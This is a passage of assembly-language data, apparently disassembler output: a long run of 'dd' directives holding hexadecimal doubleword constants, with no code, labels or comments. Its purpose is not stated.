		dd 5CF577D6h, 0CC955121h, 0D628BA09h, 495EF539h, 0F60EC09Dh
		dd 0A43F8606h, 9B51278Eh, 0ECA85CA8h, 83EDA438h, 51A0E752h
		dd 8F81A291h, 0D7B8137Eh, 6AF648E5h, 0C20413ABh, 879AD067h
		dd 5DB84098h, 9FB1B1B4h, 0B2701351h, 0CD33B1D3h, 65120BACh
		dd 0D896ED48h, 0ACC53C30h, 0AAA341h, 0D8D1A4DBh, 5A869A24h
		dd 0F07EE60Eh, 382EADD0h, 6D24CB95h, 0A4FB4C34h, 4594C0D8h
		dd 48ECA55Fh, 797157D1h, 0A3DDA872h, 97D2376Ah,	10D897C4h
		dd 33D4E642h, 0E9721751h, 0B0B5B77Ah, 0D3FE44E9h, 0E4FCA867h
		dd 0A3804FEFh, 620719A2h, 3EB9E13Fh, 0BCB741B1h, 0F7BE06FDh
		dd 0BCDF3EF0h, 3904D827h, 7FB82A0Dh, 1CD8B790h,	30F63A93h
		dd 0B50ABC3Ah, 91F50D91h, 0B4B01798h, 0C8EE0B23h, 0E7FD4610h
		dd 0C5B064DAh, 8B714FD8h, 47992B08h, 33483B70h,	0B7356995h
		dd 72644736h, 14303F93h, 7DB0FA8Dh, 0EBA22FBEh,	0B9B25FD3h
		dd 39BE0C5Bh, 38133231h, 0E0A3E1B1h, 64611CD4h,	0B60F90E5h
		dd 0DA840E8h, 0FC393C70h, 634FE545h, 70891D5Fh,	465F403Bh
		dd 9630AE3Bh, 81CE7B0h,	5F1F1E1Dh, 87B2CE3Dh, 0E930525Bh
		dd 0B0A0B733h, 14A8E587h, 0A73DE6C9h, 8A49B040h, 707E7h
		dd 0D973D959h, 853B50C0h, 0A0727596h, 90DAF0C8h, 731263E0h
		dd 4091EB24h, 334BFE9h,	0B899A82Eh, 0A8E80E05h,	0B3C46075h
		dd 0E9F7AF38h, 5D96B08Dh, 58E491DAh, 0BFAAC4C9h, 0E3591BE3h
		dd 90F0AA4Fh, 0B5C44099h, 8F1322EEh, 0B5B4D840h, 4205B8DEh
		dd 1B01C8EAh, 0B44CD8E0h, 389FC59Dh, 9B660775h,	58C5349Bh
		dd 7DAD87EEh, 0E676101Eh, 87067381h, 6171D8FDh,	3344048Eh
		dd 5CD80EC4h, 0D8CFA519h, 0E74996DFh, 0B244CD39h, 50D8C55Bh
		dd 9CF9D1FFh, 45D3A654h, 0CCDE5DAAh, 0E168D862h, 97C99F87h
		dd 97770151h, 8D3B9558h, 0C5267E18h, 0E786F9C6h, 5DE0E721h
		dd 3EE21113h, 58C9A43Dh, 5B26E7E0h, 36C1B591h, 0A17D16E4h
		dd 604BF375h, 7C60B5E6h, 0AB3DEDE7h, 572E7DFh, 81BBAB1Bh
		dd 0D8E6F66Ah, 2046A674h
		dd 0E08078E7h, 0CB26AA5Bh, 0B16E5D36h, 5CB9E689h, 0E744A4B5h
		dd 0EA0087F0h, 855ABEAFh, 0FA671305h, 0ACC7D5E4h, 81B39F7h
		dd 6A95C474h, 18B5F386h, 5E68347Eh, 0B74AE756h,	1696B4E6h
		dd 71FE67F1h, 0A87D4DB1h, 0DFF25381h, 0B2958AF9h, 0B5BCD88Ch
		dd 81EBE965h, 769B7CBDh, 0C2C95757h, 0B15889B8h, 0B1564EA8h
		dd 9D6B2219h, 0C905798h, 0D5BFB056h, 0F5CF63CDh, 0D0CDA86Fh
		dd 0A2A42390h, 5DD931A0h, 0ED98F35Ah, 0B46C4D78h, 0E89C43B2h
		dd 7EE0BCA0h, 137882C3h, 87F19950h, 0DDF7A4E7h,	0B1A3F2B1h
		dd 810B0E30h, 0D897C936h, 1684D8B4h, 592E181h, 58993877h
		dd 1811DE3h, 0B6B87A5Fh, 0A4EBF0D8h, 0D492D45Ah, 0ECE00138h
		dd 0BA54B0E0h, 8D3912DCh, 0D8B7EA86h, 0FFA8D3C4h, 94E3ECE8h
		dd 8487DDC8h, 0FCA680C2h, 2C97EF66h, 0A73BDE75h, 85F2A95Bh
		dd 31111338h, 44ED6136h, 0BB50A065h, 627B5050h,	83D32CC1h
		dd 0BB442870h, 0B8CBD91Dh, 9690F139h, 0F30F5D42h, 3C12B771h
		dd 48338A5Bh, 5BE5A7B2h, 4278489Eh, 5B37B379h, 0B4B2B492h
		dd 2CBBA65Bh, 0C42BB347h, 79B591BCh, 6F3558EAh,	0C8F6B55Bh
		dd 0AA716813h, 0B4A75DA9h, 0BA2DA79h, 0DFDAF440h, 9153EE94h
		dd 468308E3h, 0CC90C7D2h, 3BA8A7ABh, 0DA9422ACh, 72304EAAh
		dd 0CFCFB0D1h, 0E026386Fh, 0CE858BF6h, 0A6163055h, 733BEFB0h
		dd 58B2BB6Fh, 83A37383h, 0B40E076Bh, 1968A304h,	7267C78Ah
		dd 12B3FDEBh, 5221E6A2h, 79CE482Ah, 0F4B50EBFh,	0C525F1DAh
		dd 0FB4F0082h, 33F1EBA5h, 43CCEB49h, 0CBAFD1DAh, 4EA9669Ah
		dd 0BEC56B35h, 0DC7A1CD8h, 1CA3E942h, 3DB2118Ah, 0B65A0E71h
		dd 696C2332h, 0E89D5CBFh, 29EE8089h, 1866B0D8h,	0DBB8A294h
		dd 0CD73639Fh, 8B48D123h, 8B483B10h, 0A8CF90CBh, 33EBBAA9h
		dd 38805F63h, 5BF71827h, 6AA06053h, 53124287h, 5F46B028h
		dd 0E6C2380Fh, 0BEF95896h, 0D835E7ABh, 86A3184Fh, 23D823F1h
		dd 9AB935E0h, 0D4A38F6h, 60FD610Ch, 89F94A4Bh, 91CEC005h
		dd 832C891h, 32704677h,	0B3C4EA6Ch, 2EF59129h, 0D2466EDFh
		dd 5B946808h, 0BAC0AFEBh, 6408B7C5h, 570779FBh,	8DC5EAFFh
		dd 138B6008h, 2E9DC5B5h, 0FE0442C6h, 0AEB1937Ch, 0A149A378h
		dd 8B2FF00h, 85BAA70h, 0BF78F1B5h, 0E78DF3C2h, 8B403BBCh
		dd 2AD8FBC3h, 0F63826B3h, 94839677h, 10395D30h,	3AF4F3F5h
		dd 0D76D00D4h, 3A21A4C4h, 0A8732C76h, 0B5F46551h, 96E4D45Eh
		dd 8F1B43E9h, 7154D620h, 0C42CD0D0h, 0C307BFF4h, 0DCB0A081h
		dd 504B12h, 5B9D5E52h, 894BB773h, 35150052h, 782CB124h
		dd 0ABB28165h, 4397F504h, 8974F299h, 0D51B8749h, 7F3B8FC9h
		dd 0B598EF39h, 884809Ch, 312CACB9h, 0FC35A18Bh,	0F354A167h
		dd 0F7FCF9E8h, 93573B23h, 89FEE093h, 2592E42Dh,	23FD0BCCh
		dd 0B6A06EECh, 0C5B2AF73h, 59D4DDC0h, 0F8B6BC68h, 92B9E4D7h
		dd 2F8446B8h, 0C5EAE58Ch, 1DF3B4F5h, 49B5572Dh,	0E683C5B5h
		dd 2D1399B0h, 920E6F84h, 0B2A7B54Ch, 543C48AEh,	40EC6E79h
		dd 5065A044h, 0B1502BEBh, 86266B17h, 642A3E0h, 46B7B073h
		dd 0A34C8DA7h, 0AFDC92DBh, 0CD1EB0Fh, 98FF118Eh, 0E8B2E8A9h
		dd 787C4FA5h, 0B1C49C4Bh, 8480BBF0h, 778BEF0Bh,	4E3D9ECDh
		dd 489B75B6h, 0E24A09F7h, 0EFD45CD8h, 0D3A67C90h, 0FFC969AEh
		dd 600364C5h, 58D86905h, 0E9289186h, 0B8B4778Bh, 0B19487F4h
		dd 0AEF27162h, 54E18AACh, 89757C43h, 6C0B3075h,	29A95C93h
		dd 7AECF881h, 230734C9h, 0DE2BC320h, 0D8E3BC03h, 0ABD7A5ADh
		dd 0A9E0E274h, 0E6F6ECD8h, 0CBBA39DAh, 48E570D1h, 98F0F1EFh
		dd 0FF47ACB0h, 3F208E14h, 0D8ACC4EBh, 346AFC8Ch, 0B5992C81h
		dd 6106F1D8h, 0D8F3CBF8h, 0D8F4EF98h, 9559E994h, 0D3805100h
		dd 2AB58993h, 9AE04B33h, 0F1B1E065h, 2D04A84Ch,	0D534DAC6h
		dd 3BE190E6h, 36F19B17h, 44254805h, 952E7291h, 0D8E36C49h
		dd 897AB6A4h, 28119A94h, 0B19C71E2h, 3A2C341Dh,	0B43863A0h
		dd 8F6BE00Fh, 73B8F13Bh, 0B6B4F13Ah, 0DAAB73B5h, 753BE8A0h
		dd 4171B170h, 31C27A39h, 98CC92E5h, 0A0D493EBh,	6BFFEF2Ah
		dd 43F5064Eh, 0BC7633E0h, 0B8E042BEh, 0D0034041h, 0B5917452h
		dd 0C9A8E65Ah, 0E017064h, 0FB73B13Bh, 1128869Dh, 65DB36D1h
		dd 3C2E96D3h, 3451E9F7h, 5FF38D50h, 0A39CD838h,	0BEBCC6F1h
		dd 0DC49A913h, 48A80CDAh, 588E78A2h, 0A989AC3Ch, 8DC0682Ch
		dd 2C3C2D70h, 8C14A43Ch, 89865C24h, 3460FD29h, 3A9D805h
		dd 3C796923h, 8430FDF8h, 35EBECA9h, 0AD899333h,	0C41C13A2h
		dd 5DD9A9FCh, 0BE786EE9h, 888C2CF4h, 0C384BE8Dh, 8CD726C9h
		dd 0A494609Ch, 8D570C8Fh, 0A43CACFBh, 0BFBC309Fh, 934BB2ECh
		dd 0BAC5E353h, 8620B577h, 21CD6240h, 0A2A843B7h, 1C50139Bh
		dd 0B740858Bh, 604FE309h, 13DBA55Bh, 0B13CFC24h, 0B8E98083h
		dd 0AECC2E6Dh, 8FC6CB82h, 0A158A148h, 0BEFE7EF6h, 0A968543Ch
		dd 977C8FB8h, 18F79393h, 1CBC0C8Eh, 0D6FE7C2Dh,	8328C4FDh
		dd 0AC8634E0h, 30A92989h, 998FB0C4h, 4C872379h,	8D141374h
		dd 188FB8B9h, 54AC338Eh, 0C48EBC54h, 8B8E8EE0h,	0B0972254h
		dd 0ED4288Fh, 32217878h, 8FE8E4B2h, 69787884h, 83949079h
		dd 9A08DE0h, 94797852h,	0D18EE4B0h, 0C9501DE8h,	8176305Fh
		dd 0B6999057h, 0BB91AE8Dh, 949C472Eh, 0A1E4BFA9h, 0BF5BA7B6h
		dd 0BB36A9A9h, 40282C61h, 0C89C2EA0h, 0FAB39B91h, 0A07CA050h
		dd 0C98BC282h, 8EA9089Ch, 0C289A914h, 0E4207C82h, 0A98B308Dh
		dd 0C078A989h, 7831D048h, 0D482C2DDh, 728C83E0h, 0D861BC41h
		dd 45AC9CA5h, 5154AC2Eh, 0E47C5A6Eh, 548D788Dh,	48FF9790h
		dd 8DD8D48Dh, 9BEB8D4h,	0A42F9810h, 0D10C42C9h,	0BF480700h
		dd 0DEBF6CC0h, 8454A7A7h, 38FAFF2h, 0C61797C0h,	7C0388F1h
		dd 0F6FE14BFh, 0F4BF2EFEh, 2CC83C20h, 0A97C2C3Ch, 0FC10ECF8h
		dd 3C2CA397h, 60ABF004h, 232FAD94h, 0F48D2493h,	0FD4B8ECCh
		dd 3C7882BEh, 9E8E10F8h, 3C717889h, 8D2460EAh, 2D14D414h
		dd 0B068A0F3h, 78787934h, 0A8BE4047h, 806C8D9Ch, 69232123h
		dd 41C837Ch, 23217804h,	0CCF82C21h, 69788E88h, 84D87879h
		dd 8F94A9F4h, 78797879h, 0C8A03898h, 5A54A6D4h,	0D42EBD44h
		dd 78755CA9h, 0CC0C54DDh, 0D10C28FDh, 0C954A0F3h, 2408BD34h
		dd 43FC427Fh, 0C98D64D5h, 0D980C1BEh, 9C427F9Ch, 0E904D11Ch
		dd 49152EF8h, 8825E141h, 0F184F98Eh, 0EC63E3C9h, 8D898FC8h
		dd 958D5C19h, 0CC8C2C33h, 0B8080C8Fh, 18C3BEB6h, 5488C89Bh
		dd 4BBBFC73h, 0DC400B11h, 0C2BB82BDh, 54BDE841h, 825CA9C8h
		dd 80C282C2h, 3D14AC44h, 0BCC07C2Ch, 94B43891h,	0A0777957h
		dd 40D6BC33h, 3242BC58h, 74A020EFh, 718D7013h, 2C338E5Ch
		dd 8E44C98Ch, 94388E14h, 2320C2E3h, 8DA0408Dh, 905B3100h
		dd 9D3B1C93h, 698C7DD0h, 0BC68540Ch, 0BC78B206h, 3CE7BC08h
		dd 6CFAAC2Ch, 2437D814h, 0D6FEF6BBh, 8838DC83h,	23211629h
		dd 0D4A8C421h, 54D4D9B0h, 0C2BA6D4h, 0D4D48CFCh, 0D7F05C54h
		dd 0A4848FD0h, 5C797879h, 90F88398h, 23039758h,	28A9A869h
		dd 0B82483A0h, 96AB7F90h, 3CBCB061h, 6EFF8C2Dh,	404804BBh
		dd 2D54A8BBh, 8329A0DCh, 33BCA170h, 6AF6FE7Ch, 6864D692h
		dd 0A9C4A97Ch, 742D2989h, 0E004642Bh, 8B82C282h, 24D8D714h
		dd 82C282A0h, 0C40034C2h, 0D45C54F0h, 8083D4C6h, 8D08A9E4h
		dd 0D4D1A780h, 6C27ECF8h
		dd 0BA3555B1h, 0B1A5E776h, 69217F2Fh, 0DCB9A7E3h, 0A8B04D8Dh
		dd 3C3C3E8Eh, 55B0418Ch, 42828D0Ch, 8C69C9ACh, 78D07D8Fh
		dd 7186D4DCh, 9F05A4EFh, 786921F8h, 2D581978h, 963E28A7h
		dd 9F210393h, 0CDBA3524h, 0E95F2AE9h, 0A8AFC548h, 9C70DD8Fh
		dd 0D55C427Fh, 68EDBE7Eh, 0E95FC4E5h, 0EFFD472Eh, 8DE0F564h
		dd 7B8CD88Fh, 0A0858C03h, 0D695009Dh, 0F0036EC9h, 0A580AFADh
		dd 0BC3C37ECh, 40835E4h, 51C6F788h, 48BEBB22h, 0BA44BBA8h
		dd 843EDC3Ch, 0A8BA5010h, 7969BA8Dh, 83FC62DCh,	78A91C50h
		dd 0CC232178h, 388F9828h, 61C954A6h, 0BAC45BECh, 6B2105B4h
		dd 0F8E8D454h, 0CB1780A9h, 63D01AA0h, 0D8BD3BA2h, 0BF8C0751h
		dd 23F002B7h, 0AEFC88A8h, 26C9D751h, 0EC985080h, 627B8B90h
		dd 0DE842B31h, 0D0EE16E8h, 0EC2BF6BCh, 8A81E20Ch, 2D019EECh
		dd 614F52FDh, 0ADC598C3h, 0FA89EA46h, 39ED70D9h, 75178CADh
		dd 0B4C3BF20h, 0C9E9ABBAh, 0B93644C2h, 80B96CDBh, 0C7B97C44h
		dd 3454A96Dh, 3445E544h, 222816F3h, 7481788Fh, 78D8005Ch
		dd 981B90Ch, 82C6D475h,	3CF02C82h, 54D490A9h, 18C454D4h
		dd 828958D0h, 0FCE054C2h, 8D20F08Fh, 0A9A989A9h, 0AC909880h
		dd 8896FF8Ch, 407425BCh, 0B782B4B8h, 1CF0338Eh,	87907D8Eh
		dd 18C9A989h, 60FC588Dh, 0B214546Ch, 2AC98BAh, 8C257878h
		dd 7C60B4A4h, 0C8D942C0h, 9863B850h, 10B874D8h,	0FEFECD19h
		dd 0C88DC893h, 0E238E38h, 68212054h, 0D8D72064h, 21365C30h
		dd 8988DCF1h, 7217A9ECh, 0FC847978h, 0B88CA3E8h, 842B30C0h
		dd 8FD9ECDCh, 29233325h, 0B0E884C3h, 32B6F6A9h,	0A1E05C8Bh
		dd 496A6C54h, 0E280F322h, 0B072A8D8h, 0FCB65F97h, 0D4A8B753h
		dd 78C8078h, 478FAC93h,	0F63D2CDCh, 0D454541Eh,	585CAC8Fh
		dd 0F378BEFFh, 0B718B708h, 8D1BB724h, 68688C33h, 540E2380h
		dd 40442120h, 0C0D8CC34h, 0C13AD980h, 8B54B75Ch, 0CBFC2D29h
		dd 0F0838CF4h, 0A8D1A99Ch, 8D4089A9h, 421774ACh, 0C6CCC054h
		dd 0F4ED4C13h, 0C28EF08Fh, 40C2BCE5h, 174C7974h, 4881985Ah
		dd 0D881B74Bh, 803AFDD8h, 0B6B64478h, 3978C82h,	34A92825h
		dd 28F48351h, 93A90914h, 0BC348F20h, 5454AAFAh,	0AC9020F4h
		dd 9D4DFF32h, 0F0B88D39h, 0BCA3A805h, 86B050F0h, 8EF0B849h
		dd 1558B641h, 94A877F3h, 0D700E1A3h, 80C4CC23h,	0ACA386B8h
		dd 0E0A121EEh, 0A6A828B0h, 0A205ECEDh, 1AB105F4h, 0B51FBBEDh
		dd 0DAF7076Bh, 26EC92A9h, 90BCAD09h, 0C8706DC0h, 0B37C7341h
		dd 25CDF2B1h, 4F94E685h, 0B148854Fh, 0CF7034CEh, 0BD06B87Bh
		dd 0E1719BA6h, 75403BF0h, 8FC72B46h, 91C3408Bh,	4C899C11h
		dd 3880B43Ah, 60D989B4h, 0F758F2CDh, 6B5BE935h,	100A8411h
		dd 6F3A36B0h, 30A6A480h, 80578261h, 0E3DFBA84h,	6B318930h
		dd 0BE30C6ABh, 9C5B9018h, 0C7664DDBh, 60853B5Bh, 7DE80FA3h
		dd 0DAB351FBh, 0A454E79Eh, 0C4DDE8BBh, 4E1CBCB0h, 0CCB7B8F5h
		dd 3DA4BDB9h, 6F17DAE5h, 0E95C6AEEh, 2123B339h,	73334F84h
		dd 0CCB456B4h, 46C53B53h, 405C9219h, 0BB36E4D8h, 0E0D8DCC4h
		dd 7CB20691h, 0D8A3C597h, 3FF785FCh, 0F80EF854h, 94F4F8D8h
		dd 0EF8D1D8h, 0D8A8F020h, 0B530C58Ch, 1087DAA0h, 28B8D5B8h
		dd 4A7390CDh, 6860A76Bh, 0EC0EB6DAh, 0CD3DE952h, 0D6154350h
		dd 48CA3830h, 8D3B1489h, 30F20EC6h, 0DF6F76F7h,	2EA0DAB9h
		dd 3C808E5Bh, 676C08ECh, 761E7C4Ch, 888D4871h, 0E38DB5CDh
		dd 0E765935Bh, 0A58333Eh, 83A7EBE3h, 0AFE0C6B4h, 0AF19E0ECh
		dd 9B416670h, 0A5E1E6A6h, 3AE109DAh, 0B4AAB238h, 3FA0CFA6h
		dd 0C4FED574h, 0D8B55B71h, 3C0D6921h, 4E59E53Ch, 0FCD8F5D7h
		dd 0E7EB1787h, 0EEF1C521h, 8F70B1E4h, 0EE3445A3h, 4A632002h
		dd 134F72CFh, 3BD4CCE5h, 0BC3DBCFDh, 0A9B13B31h, 30A03AE0h
		dd 4F4FCE4Fh, 0E1C59D4Ah, 0C5B2E888h, 0E00EBFBEh, 0A53476B1h
		dd 985BB1DAh, 0C830899Eh, 874F8AB2h, 83C56F20h,	9EC5B48Bh
		dd 0C5C2B19Dh, 0B3E03AB6h, 5F4AE338h, 3874E547h, 0E83823A8h
		dd 39B2B8B1h, 5933FEA9h, 4FB2EB56h, 0BF12CDCBh,	77AF3506h
		dd 0D7A23DBDh, 0B7BF5D97h, 0CFD391Ch, 85B3A496h, 145C4B25h
		dd 4E2EE9h, 0DBAE9278h,	54CC6B86h, 3904BE0Dh, 4E4F7CE5h
		dd 4BBD44EDh, 5C6CC67h,	3908DB4Eh, 0FEBD60F5h, 0CD3970FDh
		dd 1454D854h, 0A9BFE90Dh, 7664D95Ch, 0A0AE4AA1h, 150D2B3h
		dd 1DA5DA49h, 61124710h, 5F4358E7h, 91904525h, 483B1BE9h
		dd 95A06CEBh, 44B5C840h, 29A41BAFh, 0B69FF81Eh,	9D728479h
		dd 1C76304Dh, 270A1D49h, 0B0EE049Ch, 883D3A4Fh,	1FF3CA29h
		dd 3BBD8AC2h, 6A7BAE4Bh, 7CB37274h, 11D1B6FFh, 12215705h
		dd 1DBDD8CEh, 8338243Dh, 11058946h, 0F85A5DC5h,	3BD28319h
		dd 7F6D11D0h, 3BD8FFCEh, 0A0CDEBEDh, 7F3B9B4Fh,	0B5B8C34Fh
		dd 0ACF06B5Fh, 917D83B1h, 98A4FEC4h, 0DE08E3Ch,	0ABBC9BE0h
		dd 0F339B33Bh, 48D663Fh, 3D4FD3A6h, 719E6805h, 7BB3D93h
		dd 0E49C142Fh, 0C7BB04D3h, 494A22Bh, 33E1EBE2h,	850A4BE7h
		dd 9BBCD8A6h, 512F04C5h, 0B42112C0h, 0C2252AD3h, 0DAB71AF4h
		dd 20D8DE42h, 4AB07B3Eh, 0A8491938h, 0F12B8D33h, 0B0740DAAh
		dd 67779BCEh, 0A6D9ED5Eh, 42E012FEh, 0AFB68561h, 33896F10h
		dd 8BF6B4AFh, 416CCCACh, 0BCCB9E7Dh, 8D61DFE0h,	382E0D78h
		dd 2D34703Fh, 5F02C6C4h, 57DE20h, 0F95EED87h, 0E7D7BDD8h
		dd 0EF75210h, 682739D4h, 0F6808DD9h, 0B6D60F2Eh, 1AC50C1Ah
		dd 0B6C0AFB0h, 0A7047983h, 0FCD82181h, 0A3C15AFEh, 0A3C95BB3h
		dd 0B6E82B16h, 0ED15E026h, 1EA95BFEh, 3B03A0C5h, 84B1BCC5h
		dd 0E0DAB6E1h, 54F264F2h, 0CB86BC83h, 0C49080C3h, 0B55D3691h
		dd 0D159CCA9h, 15358946h, 5C9286E0h, 2ED5A6E5h,	0E1747450h
		dd 0ECD967B5h, 0F4E05285h, 0E1E197B8h, 0BB3C0913h, 982FA0D5h
		dd 9E08BD94h, 46CEFBB0h, 9920BE48h, 15D60FFDh, 9E40B536h
		dd 4CBBD705h, 873A65F7h, 4D88BEC0h, 0B36BC807h,	3D8D920Bh
		dd 3D8EFA38h, 5E1FA30h,	0C7602FD1h, 0BA5B46B0h,	182E77EEh
		dd 5BFA8505h, 398DF465h, 0E648CCE1h, 24B07A2Bh,	80E7C1A3h
		dd 1099FFB5h, 0FBE7D18Bh, 6EB66074h, 0A11DF8C2h, 2601B3DAh
		dd 44234893h, 1744A811h, 718C63BEh, 48A3F8FFh, 0D005FFF5h
		dd 441080E2h, 0CBA0DA12h, 0B7D006F2h, 98B35B88h, 7DF52E4Bh
		dd 8A52B160h, 5140B8D1h, 0F665FF41h, 948E30E9h,	3007E1C5h
		dd 0C5AE1CD8h, 0C7EE18C8h, 4D1805A8h, 0AB707275h, 0B648579Fh
		dd 9193C6E9h, 0A70F32C8h, 0DAE0F8F8h, 3B4B41B5h, 85484448h
		dd 0B9A98361h, 47ED52C3h, 41BC9F0Fh, 0E6E7D8FAh, 91684CFAh
		dd 643561F4h, 2D9BE9B2h, 0F28EAA68h, 0C481F20Ch, 0CCF099BCh
		dd 0C0F2AE57h, 29EE8792h, 0F6941008h, 1B6B962h,	9740BD8Fh
		dd 0EB5F4B41h, 8097EBCEh, 20762FF8h, 0ADA4F98Ch, 862A0037h
		dd 3AC3A32Ch, 20F0873Dh, 95BF7E93h, 0F4D86CD8h,	6F40820Ch
		dd 0B983D0B3h, 0C1383EB2h, 0A3B14F3Ah, 334BBB39h, 0C5FFB476h
		dd 0E4CBEF1Bh, 3B61F1B8h, 2CBB70CDh, 83E1CC3Ch,	9359FE46h
		dd 29646604h, 2A5738A2h, 3923B0D6h, 2B05393Bh, 0B8BBC223h
		dd 0B8A7893Dh, 6D9ADA0Ah, 912CCD5Eh, 77FED2Ah, 0B30490EAh
		dd 15A1EC38h, 0D110BD7Fh, 8216F1E0h, 0F2A408E3h, 0D1C43DA9h
		dd 9C5CB390h, 0C1263590h, 0DD1201BEh, 8F8F438h,	0FCE16AA8h
		dd 42040FE7h, 3461F781h
		dd 0A94766FAh, 48550CEBh, 4CFBA848h, 6FE0E9EFh,	0EEC1B16Fh
		dd 0A1F80F5Dh, 0D3D8ACEh, 27683BF0h, 3B4A9D45h,	0E6F0DA87h
		dd 0ABCEC207h, 8B2A6D5h, 0E0A83976h, 1592D854h,	593247BDh
		dd 746735BDh, 7E901EB0h, 1F5D73EFh, 9B4DB65h, 3C3E0F8Ah
		dd 0F409ECECh, 0D3D60E8Eh, 84A8873Dh, 2276B3E9h, 0D20B1BD3h
		dd 0E6F4ABC3h, 0D2DB36F1h, 3EB2DA30h, 0EDB539D3h, 0BC453BA8h
		dd 789FC0FDh, 0B3A80C70h, 0E9B17E21h, 0A0D5D968h, 0A731D8A9h
		dd 77BDEC70h, 0FFFF5421h, 5D225705h, 90A004D8h,	6C09B450h
		dd 2D5C6CF3h, 6E650F53h, 9664C5A7h, 68ABD4F5h, 876042EBh
		dd 7486137Ch, 68AC2C2Bh, 0A1C23178h, 0B10CEE74h, 0C9706889h
		dd 804E00Ch, 26333DF5h,	0E401759Eh, 6684ACF1h, 9CD3CDB8h
		dd 3CBF9EA8h, 0B0BB4D13h, 0CCAD5FA3h, 0EAADA63h, 74C8A4B0h
		dd 297953EFh, 49477C47h, 14EFB9DAh, 20065E4Fh, 864AE5E0h
		dd 4B29EE94h, 0A5F43A9Bh, 2029387Ch, 4BF56D31h,	4D4CAB91h
		dd 0B920290Dh, 4E474F4Eh, 8C430EBFh, 0E0A81E5Fh, 4EB8ADBBh
		dd 8AB44C4Dh, 4A4B7FF9h, 0BCCC5D45h, 449930B7h,	71D284C1h
		dd 484BFE32h, 67B34FDAh, 50835107h, 0B9737636h,	498C11D4h
		dd 5E949717h, 0BE9539D4h, 58D53919h, 8DD8F3Ch, 0B1C736B1h
		dd 3985F5E6h, 9CEA54EDh, 7FCBF62Ch, 5B4CF08Bh, 396C97F3h
		dd 93CD6CCDh, 7C8DDD6Eh, 0E9ED299Dh, 0E539D154h, 0F2651750h
		dd 23E3A433h, 254AB16Dh, 685B6C41h, 733BA533h, 764BA05Bh
		dd 3BEC1C73h, 1D48AC08h, 31FE4140h, 29BD7EB8h, 0C458883Eh
		dd 255C98BAh, 0CDD44FE7h, 0BB6B3FFFh, 0BC17769Bh, 6CBCFD6Ah
		dd 71B8BB35h, 0E40850BDh, 0A9409B78h, 0AB2A857Fh, 28E7C2FCh
		dd 0DCE680CAh, 0B3B95771h, 3FC47FA4h, 82954F8Dh, 18D8E6B9h
		dd 0EC1F9144h, 990DCD23h, 82A79310h, 3C3818C2h,	0CB78FC30h
		dd 91CBC490h, 9C34D3D8h, 0E2D002A3h, 918278F8h,	99F08A7Bh
		dd 2B77280h, 0C59CA1FCh, 98908ACh, 30FF888Dh, 0BDB50829h
		dd 8A99B1B0h, 69B289A0h, 0F15F6FABh, 0C4368DA7h, 0C5128DDCh
		dd 22716EA4h, 4C290E80h, 79300DEDh, 0BD7E7179h,	0D885B08Dh
		dd 0AC2C2CD0h, 0F0F8B578h, 79780CB3h, 969C8031h, 23731808h
		dd 4AF3A6E8h, 1A1CE874h, 0B47E7477h, 9C144D35h,	68D84CD8h
		dd 0CD1722C9h, 48D8D09Fh, 58D8E4A7h, 9754D8F4h,	889722C9h
		dd 0D89864D8h, 10D8AC60h, 7422EEF3h, 0AC57017h,	579F40B0h
		dd 0B7DABA5Bh, 0B26FB65Bh, 90BA1CD0h, 4DB5A50Ah, 14673B7h
		dd 96C49EC7h, 8805833h,	0F8A94D4Fh, 0B9B5A2C4h,	89EC5F8h
		dd 5D1BA5E0h, 0DF93D6C7h, 0F44CBB9Eh, 0D7E77493h, 0B555264Fh
		dd 0A1AA93C4h, 0B6C4B4A5h, 9CEB8808h, 3C3D70A5h, 0B490648Ch
		dd 12C2D8BAh, 0B1BC9DF3h, 0F3B1F303h, 90B5A6EBh, 3A52ECABh
		dd 35BFA048h, 0CBC480Eh, 6DFE3048h, 0C06D91F5h,	646DF98Fh
		dd 22450417h, 0A441332Dh, 46831600h, 0C68C5274h, 16A060CFh
		dd 0B2B0AFD8h, 8F9CC91Bh, 3ED189F0h, 5F401B35h,	8BDFE0ACh
		dd 44EFE3FFh, 0D8704C71h, 0F7C9C6Bh, 778BC6B3h,	0D1DD986Bh
		dd 8B8697E7h, 655D9F37h, 0FD3D8FF3h, 0E1F63744h, 3DE1FD30h
		dd 0F971823Dh, 5BE0E18Eh, 0FE4CEF72h, 0BADAE4A0h, 94C5A54Ch
		dd 428383B0h, 0A078A0FFh, 9DFAC594h, 0CE94371Ch, 8BAB32B8h
		dd 633BA505h, 0BCD9FBB3h, 0BFB58BFEh, 4E8B624Eh, 89CCC4CDh
		dd 0F9C7C4BBh, 9EB88A68h, 76EBF587h, 6776FDCBh,	0BC8F9256h
		dd 0CEC7BCE9h, 8EF62453h, 0C9A9B181h, 4FA9E549h, 7025BFBCh
		dd 985B403Bh, 0B2B9BAACh, 55EB5C4h, 0D7B7D9BBh,	16B0E7B1h
		dd 5020D1F1h, 6E47EA6Eh, 53B746ABh, 0D4A0F202h,	9F73766h
		dd 0BBC0AE9Ah, 0DB0C08C0h, 48C66C3Ah, 17375577h, 0B08F1FF3h
		dd 0F94F0FBFh, 0D9FFABCAh, 0F366395Fh, 5C3B3E78h, 0EE8F4F61h
		dd 0D05C1337h, 0B3163050h, 463B1E6h, 0E660CCDFh, 78B66C4Fh
		dd 85B3AF7Ch, 687440FDh, 0FF50899Eh, 0F48DF17Ch, 282548D3h
		dd 0F0E2ECB1h, 0DBBE1A44h, 0A21BD4DDh, 6860F6C6h, 3F028C23h
		dd 0E6E954DCh, 71A0EBE6h, 74EBBA60h, 648E8599h,	0EDB316A4h
		dd 0A45BA434h, 0EC92ECDFh, 0FBF6472Dh, 4B61556Fh, 0C244C58Bh
		dd 9401900h, 4F83B014h,	0C62936A4h, 7680B430h, 0D628722Fh
		dd 7D582554h, 23E70E5Ch, 76AB93C7h, 57924FF4h, 95A730D8h
		dd 0FDF3EB06h, 56A3AAC5h, 58DFCB00h, 0C8895FB1h, 103B01A5h
		dd 0C391E580h, 543EDF07h, 0D8E6E432h, 0F6F790D0h, 9280CD8Bh
		dd 3281B703h, 0F34E6CDDh, 0CFA41C2Ah, 0BFEE4CE9h, 552D702Fh
		dd 9074CCB3h, 53E6A0DAh, 3BF174C4h, 0ED0193E8h,	0F837C716h
		dd 0E69F183Eh, 0D95548A3h, 8A369B3Ah, 0E66D4805h, 3EF923F5h
		dd 5AA4E44Fh, 0E24BFE77h, 5BE5D5BBh, 803997BDh,	87E43C4Ah
		dd 8E31499h, 3E580872h,	0EF04F8Fh, 0D2D6F00Ch, 4E7E379Dh
		dd 5AD03BC7h, 93F2B4AAh, 0D371B6D8h, 812F56F0h,	60A6044Fh
